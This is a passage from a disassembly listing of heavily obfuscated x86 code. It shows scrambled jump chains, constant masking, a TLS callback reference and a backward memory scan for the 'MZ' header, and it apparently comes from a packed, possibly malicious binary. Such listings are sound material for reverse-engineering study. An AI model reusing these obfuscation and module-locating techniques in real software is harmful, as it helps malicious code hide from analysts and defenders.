; END OF FUNCTION CHUNK FOR sub_422392
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_422CFC: ; CODE XREF: sub_423FCD:loc_42A3C9j
pop esi
loc_422CFD: ; CODE XREF: sub_4272E9-21ABj
add esi, 0F311886Fh
rol esi, 6
add esi, 153B3DF2h
jmp loc_42195C
; END OF FUNCTION CHUNK FOR sub_423FCD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427849
loc_422D11: ; CODE XREF: sub_427849+20j
mov eax, [ebp-4]
cmp byte ptr [eax], 0CFh
jz loc_421CE0
mov eax, [ebp-4]
cmp byte ptr [eax], 0E9h
jz loc_421CE0
jmp loc_423E39
; END OF FUNCTION CHUNK FOR sub_427849
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4258EB
loc_422D2F: ; CODE XREF: sub_4258EB-1DF2j
; sub_4258EB+3FD0j
mov eax, ds:dword_42C48C
mov al, [eax]
sub al, 99h
mov edx, ds:dword_42C48C
imul byte ptr [edx]
jmp loc_424E22
; END OF FUNCTION CHUNK FOR sub_4258EB
; ---------------------------------------------------------------------------
mov ecx, [ebp+0]
jmp loc_426A80
; ---------------------------------------------------------------------------
loc_422D4D: ; DATA XREF: _94j21ax3:00422BC2o
add eax, 3BAFC226h
call sub_428F65
test al, al
jz nullsub_149
jmp loc_424DD7
; ---------------------------------------------------------------------------
mov edx, eax
jmp loc_422EAB
; ---------------------------------------------------------------------------
loc_422D6C: ; CODE XREF: _94j21ax3:loc_426547j
add edx, 20CF4AB3h
or ebx, eax
rol ebp, 2
jmp loc_425B4B
; ---------------------------------------------------------------------------
call sub_424839
; START OF FUNCTION CHUNK FOR sub_423C51
loc_422D81: ; CODE XREF: sub_423C51+59B7j
jmp loc_426552
; END OF FUNCTION CHUNK FOR sub_423C51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_422D86: ; CODE XREF: sub_42169F:loc_4273E6j
add eax, 0E7091FF0h
xchg eax, [esp-8+arg_4]
jmp sub_42C057
; END OF FUNCTION CHUNK FOR sub_42169F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422D94 proc near ; CODE XREF: sub_4247A2j
push ebp
mov ebp, esp
sub_422D94 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_42B856
loc_422D97: ; CODE XREF: sub_42B856-6315j
push ecx
mov esp, ebp
xchg ecx, [esp+4+var_4]
jmp loc_42B848
; END OF FUNCTION CHUNK FOR sub_42B856
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_422DA2: ; CODE XREF: sub_4272E9:loc_4273DCj
shr esi, 10h
push esi
pop edi
jmp loc_42513D
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B487
loc_422DAC: ; CODE XREF: sub_42B487:loc_42B29Aj
jz loc_421D73
mov eax, [ebp-0Ch]
push eax
push eax
push offset loc_424F74
jmp nullsub_144
; END OF FUNCTION CHUNK FOR sub_42B487
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427AEB
loc_422DC2: ; CODE XREF: sub_427AEB+33F8j
jmp loc_42C33E
; END OF FUNCTION CHUNK FOR sub_427AEB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272C3
loc_422DC7: ; CODE XREF: sub_4272C3+2F4Dj
jmp nullsub_9
; END OF FUNCTION CHUNK FOR sub_4272C3
; ---------------------------------------------------------------------------
loc_422DCC: ; CODE XREF: _94j21ax3:00422B0Dj
jnz loc_4275F3
xor edi, esi
; START OF FUNCTION CHUNK FOR sub_423081
loc_422DD4: ; CODE XREF: sub_423081-58Bj
call sub_4250D0
loc_422DD9: ; CODE XREF: sub_42A0CC-54EDj
jmp loc_422A0A
; END OF FUNCTION CHUNK FOR sub_423081
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4248E7
loc_422DDE: ; CODE XREF: sub_4248E7+16j
mov eax, [eax+64h]
add eax, [ebp-14h]
cmp eax, [ebp-0Ch]
ja loc_421E71
jmp loc_424A8C
; END OF FUNCTION CHUNK FOR sub_4248E7
; =============== S U B R O U T I N E =======================================
sub_422DF2 proc near ; CODE XREF: _94j21ax3:00424E83p
; _94j21ax3:0042B0B2j
; FUNCTION CHUNK AT 0042A104 SIZE 0000000C BYTES
mov [esp+0], ecx
pop ecx
add edi, 0E5635C3Ah
mov [edi], eax
pop edi
push ebp
lea eax, [ebp-4]
jmp loc_42A104
sub_422DF2 endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_213. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42851E
loc_422E09: ; CODE XREF: sub_42851E+1974j
jmp nullsub_151
; END OF FUNCTION CHUNK FOR sub_42851E
; ---------------------------------------------------------------------------
loc_422E0E: ; CODE XREF: _94j21ax3:00427F53j
jmp loc_42C2B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_422E13: ; CODE XREF: sub_42C0BC:loc_424637j
jl loc_42488B
loc_422E19: ; CODE XREF: sub_423A56+74E6j
jmp loc_426BFF
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
jo loc_4277D8
js loc_422700
jmp loc_42488B
; ---------------------------------------------------------------------------
loc_422E2F: ; CODE XREF: _94j21ax3:0042904Fj
jo loc_4217CD
cdq
; =============== S U B R O U T I N E =======================================
sub_422E36 proc near ; CODE XREF: sub_429A13+12p
arg_0 = dword ptr 4
mov [esp+0], edx
pop edx
xchg eax, [esp-4+arg_0]
retn
sub_422E36 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_422E3E: ; CODE XREF: sub_421D33:loc_42157Bj
jmp loc_42B511
; END OF FUNCTION CHUNK FOR sub_421D33
; =============== S U B R O U T I N E =======================================
sub_422E43 proc near ; DATA XREF: sub_429A13+Do
; FUNCTION CHUNK AT 004254BF SIZE 00000007 BYTES
pop ebx
jmp loc_4254BF
sub_422E43 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
or ecx, 765200C7h
jmp sub_421CCE
; ---------------------------------------------------------------------------
loc_422E54: ; CODE XREF: _94j21ax3:0042247Cj
mov ebp, 827D23B7h
; =============== S U B R O U T I N E =======================================
sub_422E59 proc near ; CODE XREF: _94j21ax3:00428170p
; FUNCTION CHUNK AT 004258AE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00428B18 SIZE 0000000B BYTES
xchg ecx, [esp+0]
pop ecx
call sub_4239A5
jmp loc_4258AE
sub_422E59 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_422E67: ; CODE XREF: _94j21ax3:0042B4A8j
jge loc_429D68
cmp ebx, eax
jmp loc_428D47
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_422E74: ; CODE XREF: sub_422EB0+7BE2j
mov [eax], edx
jmp loc_428924
; END OF FUNCTION CHUNK FOR sub_422EB0
; =============== S U B R O U T I N E =======================================
sub_422E7B proc near ; CODE XREF: sub_424C37+5574p
; _94j21ax3:loc_42BFC5j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042BAFD SIZE 00000010 BYTES
mov [esp+0], ecx
pop ecx
push 13EEEC86h
pop eax
add eax, 4639620Ah
add eax, ebp
add eax, 0A5D7AEA8h
popf
jmp loc_42BAFD
sub_422E7B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424EE4
loc_422E99: ; CODE XREF: sub_424EE4+4DDj
ror ebx, 16h
not ebx
mov ebx, edx
sbb edx, 11D8576h
jmp loc_423DFA
; END OF FUNCTION CHUNK FOR sub_424EE4
; ---------------------------------------------------------------------------
loc_422EAB: ; CODE XREF: _94j21ax3:00422D67j
; _94j21ax3:00428D23j
push 64FEB67Eh
; =============== S U B R O U T I N E =======================================
sub_422EB0 proc near ; CODE XREF: sub_42B500+4p
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 004212BA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004213F7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004218B3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004218D3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00421BA3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00421E79 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004224C0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00422E74 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00422F7B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00423FEC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00424A4C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424E17 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042546B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004255F6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425610 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004269FD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00426B24 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426CE8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004272F4 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00427636 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427ACD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042813D SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00428553 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00428924 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00428E48 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428F82 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004292A0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004292F8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429312 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004295E8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004299AB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042A0EA SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042A592 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AA21 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AA8C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042AE17 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AE3A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B221 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042B9B5 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042BC7E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042BD8F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042BF64 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042C116 SIZE 00000007 BYTES
xchg ecx, [esp+0]
pop ecx
mov esp, ebp
xchg ebx, [esp-4+arg_0]
mov ebp, ebx
jmp loc_426B24
sub_422EB0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_422EC0: ; CODE XREF: sub_42284F:loc_421B77j
jnz loc_4296E2
jmp loc_42557D
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
loc_422ECB: ; CODE XREF: _94j21ax3:00422B9Aj
rol edx, 3
and edi, 0EEAC9455h
test edi, 572169F7h
jmp loc_4266C5
; ---------------------------------------------------------------------------
locret_422EDF: ; CODE XREF: _94j21ax3:loc_421FBFj
retn
; ---------------------------------------------------------------------------
loc_422EE0: ; CODE XREF: _94j21ax3:0042A6F8j
jmp loc_429FAB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427679
loc_422EE5: ; CODE XREF: sub_427679+Dj
jmp loc_4266B4
; END OF FUNCTION CHUNK FOR sub_427679
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42454E
loc_422EEA: ; CODE XREF: sub_42454E+347Dj
or edi, eax
loc_422EEC: ; CODE XREF: sub_42454E+3475j
or edi, 5666337Eh
add edi, 8953F8F1h
popf
jmp loc_423732
; END OF FUNCTION CHUNK FOR sub_42454E
; ---------------------------------------------------------------------------
loc_422EFE: ; CODE XREF: _94j21ax3:0042711Fj
jg loc_428367
jbe locret_426ACC
; =============== S U B R O U T I N E =======================================
sub_422F0A proc near ; CODE XREF: sub_428954-1556p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0042B06A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B90A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042C4D0 SIZE 00000014 BYTES
mov [esp+0], edx
pop edx
jb loc_42C4D0
call sub_4291BC
loc_422F19: ; CODE XREF: sub_424F07+4D83j
jmp loc_427E9C
sub_422F0A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A7A6
loc_422F1E: ; CODE XREF: sub_42A7A6-38C9j
jmp loc_421C2D
; END OF FUNCTION CHUNK FOR sub_42A7A6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_422F24: ; CODE XREF: _94j21ax3:0042941Dj
jmp loc_426778
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427CEA
loc_422F29: ; CODE XREF: sub_427CEA+DC7j
jmp sub_428709
; END OF FUNCTION CHUNK FOR sub_427CEA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429CAE
loc_422F2E: ; CODE XREF: sub_429CAE-7619j
jmp loc_42B793
; END OF FUNCTION CHUNK FOR sub_429CAE
; ---------------------------------------------------------------------------
pop edi
jo loc_42581C
jmp sub_423F55
; ---------------------------------------------------------------------------
loc_422F3F: ; DATA XREF: _94j21ax3:loc_42BBEFo
mov dword ptr [ebp-18h], 0
; START OF FUNCTION CHUNK FOR sub_423324
loc_422F46: ; CODE XREF: sub_423324+6979j
push offset sub_4223EF
jmp loc_42594E
; END OF FUNCTION CHUNK FOR sub_423324
; =============== S U B R O U T I N E =======================================
sub_422F50 proc near ; CODE XREF: sub_4248E7:loc_428C7Bp
; _94j21ax3:0042A4B8j
; FUNCTION CHUNK AT 00423F37 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042A606 SIZE 0000000D BYTES
mov [esp+0], ebx
pop ebx
cmp dword ptr [ebp-8], 0A22F8A70h
jz loc_423F37
jmp loc_42A606
sub_422F50 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427A68
loc_422F66: ; CODE XREF: sub_427A68-3383j
shl ebp, 8
jno loc_424303
jmp loc_421A16
; END OF FUNCTION CHUNK FOR sub_427A68
; ---------------------------------------------------------------------------
mov ebx, [edx]
jmp sub_4232F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_422F7B: ; CODE XREF: sub_422EB0:loc_424A52j
not ebp
rol ecx, 1Dh
mov ecx, ebx
jns loc_427636
mov [edx], edi
jmp loc_4224C0
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424692
loc_422F8F: ; CODE XREF: sub_424692:loc_423A0Bj
push 1F8EBD3Ah
pop eax
add eax, 0E0B3BF17h
xchg eax, [esp+0]
; END OF FUNCTION CHUNK FOR sub_424692
; START OF FUNCTION CHUNK FOR sub_42284F
loc_422F9E: ; CODE XREF: sub_42284F-12A7j
jmp sub_42C057
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A277
loc_422FA3: ; CODE XREF: sub_42A277+F86j
add edx, 0B3479E69h
jno loc_4232E5
xor ebx, esi
jmp loc_425233
; END OF FUNCTION CHUNK FOR sub_42A277
; ---------------------------------------------------------------------------
loc_422FB6: ; CODE XREF: _94j21ax3:00428A8Bj
jnz loc_424B15
; =============== S U B R O U T I N E =======================================
sub_422FBC proc near ; CODE XREF: sub_421246+3B7Ap
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 004240DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428DDC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00429B20 SIZE 00000009 BYTES
mov [esp+0], edi
loc_422FBF: ; CODE XREF: _94j21ax3:0042811Ej
pop edi
mov [esp-4+arg_0], ecx
jmp loc_4240DE
sub_422FBC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_422FC8 proc near ; DATA XREF: sub_42131B+38F9o
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 004232E0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428318 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042863C SIZE 0000000E BYTES
xor ecx, 8CF36405h
xor edx, edx
div ecx
call sub_424B8F
loc_422FD7: ; CODE XREF: sub_429280+14j
jmp loc_42863C
sub_422FC8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_422FDC proc near ; DATA XREF: _94j21ax3:00428B0Eo
; FUNCTION CHUNK AT 00421310 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00423B68 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00424667 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004266AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426E7C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00428BA1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A95B SIZE 0000001F BYTES
cmp dword ptr [ebp-8], 0
jz loc_424667
sub_422FDC endp
; START OF FUNCTION CHUNK FOR sub_423614
loc_422FE6: ; CODE XREF: sub_423614:loc_4230E6j
; _94j21ax3:00424661j ...
jz loc_429F04
cmp dword ptr [ebp-1Ch], 0Fh
jnz loc_426D3D
mov eax, [ebp-1Ch]
shl eax, 8
jmp loc_42AA55
; END OF FUNCTION CHUNK FOR sub_423614
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_179. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422866
loc_423002: ; CODE XREF: sub_422866+6CC8j
jmp loc_426955
; END OF FUNCTION CHUNK FOR sub_422866
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424AED
loc_423007: ; CODE XREF: sub_424AED+3926j
jmp nullsub_56
; END OF FUNCTION CHUNK FOR sub_424AED
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425B77
loc_42300D: ; CODE XREF: sub_425B77+8j
jmp loc_424029
; END OF FUNCTION CHUNK FOR sub_425B77
; ---------------------------------------------------------------------------
cmp ebp, 0DFEEBA9Dh
jmp loc_422BCC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428B5E
loc_42301D: ; CODE XREF: sub_428B5E+Ej
jz loc_424232
jmp loc_425138
; END OF FUNCTION CHUNK FOR sub_428B5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_423028: ; CODE XREF: sub_42284F+582Dj
; sub_42284F:loc_42C531j
call sub_421644
; END OF FUNCTION CHUNK FOR sub_42284F
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_42302D: ; CODE XREF: sub_4294B3-CAEj
test esi, 7ED985A6h
jmp loc_42BEB4
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429A83
loc_423038: ; CODE XREF: sub_429A83-468Bj
xchg ebx, [edx]
pop ecx
jns sub_42A5B9
loc_423041: ; CODE XREF: sub_429A83:loc_4282A3j
add dword ptr [esi], 0F80486h
; END OF FUNCTION CHUNK FOR sub_429A83
; START OF FUNCTION CHUNK FOR sub_424CF2
loc_423047: ; CODE XREF: sub_423FCD-1CFFj
; sub_423081:loc_422AFCj ...
pop edi
pop esi
pop ecx
xchg esi, [esp-0Ch+arg_8]
jmp loc_42C4AC
; END OF FUNCTION CHUNK FOR sub_424CF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4211F4
loc_423052: ; CODE XREF: sub_4211F4+Bj
xor eax, 60AA98B6h
and eax, 0DCB41D66h
add eax, 382E772Fh
xchg eax, [esp+8+var_8]
jmp sub_423F43
; END OF FUNCTION CHUNK FOR sub_4211F4
; =============== S U B R O U T I N E =======================================
sub_42306C proc near ; DATA XREF: sub_4210BC+1o
; FUNCTION CHUNK AT 0042AED3 SIZE 00000006 BYTES
cmp dword ptr [ebp-14h], 5
setz al
call sub_4215F9
pop ecx
shl eax, 3
jmp loc_42AED3
sub_42306C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_423081 proc near ; CODE XREF: _94j21ax3:0042A660j
; sub_42484C+6B2Ep
; FUNCTION CHUNK AT 00422A0A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00422AF0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00422DD4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004259F0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429574 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042A006 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042B2D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C606 SIZE 00000011 BYTES
mov [esp+0], eax
pop eax
and ecx, 7
call sub_42B405
loc_42308D: ; CODE XREF: sub_428BBD+20F9j
jmp loc_4259F0
sub_423081 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_423092: ; CODE XREF: _94j21ax3:004212B5j
mov edx, esi
; =============== S U B R O U T I N E =======================================
sub_423094 proc near ; CODE XREF: sub_428F6D+Ap
xchg edi, [esp+0]
loc_423097: ; CODE XREF: _94j21ax3:loc_4236CBj
pop edi
push ecx
push 0F7A2E535h
pop ecx
jmp loc_42383A
sub_423094 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42426B
loc_4230A4: ; CODE XREF: sub_42426B+DD8j
xor eax, ebp
sub edx, ebp
loc_4230A8: ; CODE XREF: sub_42875C:loc_4282AEj
push ebp
push esi
loc_4230AA: ; CODE XREF: _94j21ax3:00427B65j
jmp loc_421D5D
; END OF FUNCTION CHUNK FOR sub_42426B
; ---------------------------------------------------------------------------
mov ds:dword_42C208, eax
xor eax, eax
mov [ebp-4], eax
; START OF FUNCTION CHUNK FOR sub_4248E7
loc_4230B9: ; CODE XREF: sub_4248E7-3744j
; _94j21ax3:0042520Aj
jno loc_42B789
call sub_429F43
loc_4230C4: ; CODE XREF: sub_421CAA+56B0j
jmp nullsub_62
; END OF FUNCTION CHUNK FOR sub_4248E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_4230C9: ; CODE XREF: sub_42284F-4DFj
mov [edx], esi
jmp loc_4270AE
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425324
loc_4230D0: ; CODE XREF: sub_425324+530Ej
jp loc_426475
jnb sub_424839
sbb ebx, edi
shr eax, 7
jmp loc_428CAA
; END OF FUNCTION CHUNK FOR sub_425324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423614
loc_4230E6: ; CODE XREF: sub_423614+787Aj
jno loc_422FE6
xchg ecx, [ebx]
adc ebp, 0CF930D44h
and ecx, ebx
jmp loc_42665B
; END OF FUNCTION CHUNK FOR sub_423614
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4244A5
loc_4230FB: ; CODE XREF: sub_4244A5+11j
call sub_42221F
loc_423100: ; CODE XREF: _94j21ax3:004278BFj
jmp loc_4221F6
; END OF FUNCTION CHUNK FOR sub_4244A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42780F
loc_423105: ; CODE XREF: sub_42780F+17j
jmp loc_423585
; END OF FUNCTION CHUNK FOR sub_42780F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4290B2
loc_42310A: ; CODE XREF: sub_4290B2+9j
push offset loc_42BD57
jmp nullsub_65
; END OF FUNCTION CHUNK FOR sub_4290B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427D65
loc_423114: ; CODE XREF: sub_427D65:loc_423D6Fj
cpuid
add [esi], eax
xor [esi], ebx
add [esi], ecx
xor [esi], edx
jmp loc_421E46
; END OF FUNCTION CHUNK FOR sub_427D65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428B5E
loc_423123: ; CODE XREF: sub_428B5E:loc_425138j
xor edi, ebx
jmp loc_426F1A
; END OF FUNCTION CHUNK FOR sub_428B5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_42312A: ; CODE XREF: sub_42484C:loc_423D36j
jz loc_4266BA
adc ebp, 0D16FABCBh
jmp sub_42B358
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
loc_42313B: ; CODE XREF: _94j21ax3:loc_42C0B7j
mov eax, [eax+0Ch]
push offset sub_428A1C
jmp locret_423368
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42270C
loc_423148: ; CODE XREF: sub_42270C:loc_42562Aj
; sub_42270C+5B13j
call sub_4210AA
mov edx, 0DE6CF580h
call sub_4239A5
push eax
jmp loc_42A861
; END OF FUNCTION CHUNK FOR sub_42270C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42315D proc near ; CODE XREF: sub_42B83Aj
; FUNCTION CHUNK AT 004289D7 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042BDC6 SIZE 0000000F BYTES
push ebp
mov ebp, esp
loc_423160: ; CODE XREF: TlsCallback_0:loc_423F94j
push ecx
jmp loc_4289D7
sub_42315D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424C37
loc_423166: ; CODE XREF: sub_424C37:loc_4217A8j
push 7A4262D5h
sbb edx, 2ED38807h
mov edi, ecx
jns loc_422997
jmp loc_429B6C
; END OF FUNCTION CHUNK FOR sub_424C37
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42265F
loc_42317F: ; CODE XREF: sub_42265F+91CAj
jmp loc_429215
; END OF FUNCTION CHUNK FOR sub_42265F
; ---------------------------------------------------------------------------
loc_423184: ; CODE XREF: _94j21ax3:004250E7j
jmp loc_4277C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424D8C
loc_423189: ; CODE XREF: sub_424D8C-33ABj
jmp loc_42B630
; END OF FUNCTION CHUNK FOR sub_424D8C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_42318E: ; CODE XREF: sub_423324:loc_423353j
; sub_423324+19FDj
push esi
push 0EE85DFD5h
pop esi
or esi, 0EDA2955Dh
add esi, 109AE507h
call sub_422609
sub edx, ebx
push 7E427920h
jmp sub_4271F1
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429259
loc_4231B2: ; CODE XREF: sub_429259:loc_426A2Fj
xor edx, 12EB0680h
call sub_4239A5
call sub_42A63F
loc_4231C2: ; CODE XREF: _94j21ax3:004287FAj
jmp sub_4239A5
; END OF FUNCTION CHUNK FOR sub_429259
; ---------------------------------------------------------------------------
loc_4231C7: ; CODE XREF: _94j21ax3:00423B1Bj
jb loc_42A442
; =============== S U B R O U T I N E =======================================
sub_4231CD proc near ; CODE XREF: sub_425934+B17p
; FUNCTION CHUNK AT 0042B13A SIZE 0000000A BYTES
mov [esp+0], eax
pop eax
push eax
jmp loc_42B13A
sub_4231CD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42771C
loc_4231D7: ; CODE XREF: sub_42771C:loc_421BBEj
push offset loc_4270D9
jmp nullsub_49
; END OF FUNCTION CHUNK FOR sub_42771C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423B78
loc_4231E1: ; CODE XREF: sub_423B78:loc_423B87j
sub ebx, 10000h
mov eax, [ebx]
neg eax
cmp ax, 0A5B3h
jnz loc_423B81
retn
; ---------------------------------------------------------------------------
loc_4231F6: ; CODE XREF: sub_423B78:loc_423B81j
sub ebx, 10000h
jmp loc_421794
; END OF FUNCTION CHUNK FOR sub_423B78
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BD03
loc_423201: ; CODE XREF: sub_42BD03:loc_4215E5j
jnz loc_4222A4
jmp loc_422481
; END OF FUNCTION CHUNK FOR sub_42BD03
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
